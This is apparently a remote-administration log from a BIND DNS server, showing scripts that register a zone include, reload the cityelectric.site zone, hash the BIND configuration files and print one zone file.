MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 6e0e1cd91e9c100ac56c82cc9cbc9b84
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 15:08:23: 

PUT: /tmp/pkp856016

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '73c7599fdd5ae53f1a22acdec3f96f94'
ZONE_NAME = 'cityelectric.site'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-02-09 15:08:23: 

chmod 755 /tmp/pkp856016; /tmp/pkp856016; rm /tmp/pkp856016

2026-02-09 15:08:26: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-02-09 15:08:26: 

PUT: /tmp/pkp964900

#!/bin/bash
rndc reload cityelectric.site 2>&1


2026-02-09 15:08:26: 

chmod 755 /tmp/pkp964900; /tmp/pkp964900; rm /tmp/pkp964900

2026-02-09 15:08:26: 


zone reload queued


2026-02-09 15:08:27: Establishing a connection
2026-02-09 15:08:27: 

PUT: /tmp/pkp388103

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 15:08:27: 

runuser -l bind -s /bin/bash -c '/tmp/pkp388103; rm /tmp/pkp388103'

2026-02-09 15:08:27: 
2026-02-09 15:08:27: 

PUT: /tmp/pkp758681

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-09 15:08:27: 

chmod 755 /tmp/pkp758681; /tmp/pkp758681; rm /tmp/pkp758681

2026-02-09 15:08:27: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt	800
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
cityelectric.site.       		 IN    SOA      	cityelectric.site. hostmaster.cityelectric.site. ( 134129940 14400 3600 14400 3600 )
@                        		 IN    A        	10.140.12.84
mail._domainkey          		 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAxwxDyzsjHawWZqIzW4CXIinwR6ffikvpe/tIL/OsHMXeQKpqSYzL1ejRz6B9+PYCLGL1jXiVzY1L0TSDYxFi1URCUXLPKT479DYm+MQeJw4AS5da0Lozr72vS1TwUHBn5ikA4KpeLsDPY4rS3SYltt2ssUJvf5c2EJ5eSD9PVvFbeFGP9ln+4JqBmTGY" "apVA4mXPsup3VNE1eZFqDX35qi5ldDcqKbImY8+HpVguvG/vEp9XJCqRgspMrIm3wz9Gk5Umnjf24hrxMPYZXWRdYclwD7yVNb9Ma0+SstHVWWzJUsB8uibtClqCu2yqV3No3PKkTimCYAv56N8QbiR4KQIDAQAB"
www                      		 IN    CNAME    	dq-dev0f.ces-us.net






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
